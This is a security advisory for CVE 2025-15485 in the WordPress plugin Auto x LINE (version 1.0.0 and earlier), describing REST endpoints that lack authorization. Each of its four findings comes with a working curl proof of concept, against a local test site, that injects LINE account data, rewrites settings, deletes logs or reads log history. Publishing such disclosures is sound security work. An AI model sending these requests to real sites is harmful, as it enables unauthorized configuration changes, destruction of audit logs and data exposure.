Auto x LINE <= 1.0.0 – Unauthenticated REST API Endpoints Call | CVE 2025-15485

Description

The plugin does not have authorization checks in some of its REST endpoints, allowing unauthenticated users to call them and update the plugin settings, clear logs etc

Proof of Concept

1) Vulnerability: Unauthenticated creation of LINE account entry
Type: Unauthenticated REST API write
Endpoint: POST /wp-json/autoxline/v1/accounts
Authorization: Not required (permission_callback returns true)
Impact: An unauthenticated attacker can create or inject account data for the plugin, including a LINE channel access token, channel ID, message format, and delivery options. This allows binding the plugin to attacker-controlled LINE data.

PoC:
curl -X POST http://nxploit.ddev.site/wp-json/autoxline/v1/accounts/ \
  -H "Content-Type: application/json" \
  -d '{
    "channel_access_token": "TEST_LINE_TOKEN",
    "channel_id": "@linechannel",
    "message_format": "Hacked from API",
    "filter_posts": false,
    "send_delay": 0
  }'

2) Vulnerability: Unauthenticated modification of settings
Type: Unauthenticated REST API write
Endpoint: POST /wp-json/autoxline/v1/settings/
Authorization: Not required (permission_callback returns true)
Impact: An unauthenticated attacker can trigger update_option() on plugin-exposed option keys (date_format, language). This is an unauthorized change of site configuration.

PoC:
curl -X POST http://nxploit.ddev.site/wp-json/autoxline/v1/settings/ \
  -H "Content-Type: application/json" \
  -d '{
    "date_format": "HACKED-d/m/Y",
    "language": "evil_lang"
  }'

3) Vulnerability: Unauthenticated log clearing
Type: Unauthenticated REST API destructive action
Endpoint: DELETE /wp-json/autoxline/v1/accounts/clear-log
Authorization: Not required
Impact: Any unauthenticated party can clear the plugin’s activity/log entries.

PoC:
curl -X DELETE http://nxploit.ddev.site/wp-json/autoxline/v1/accounts/clear-log

4) Vulnerability: Unauthenticated log disclosure
Type: Unauthenticated REST API read
Endpoint: GET /wp-json/autoxline/v1/accounts/log-history
Authorization: Not required
Impact: Any unauthenticated user can read the plugin’s log/history entries.

PoC:
curl http://nxploit.ddev.site/wp-json/autoxline/v1/accounts/log-history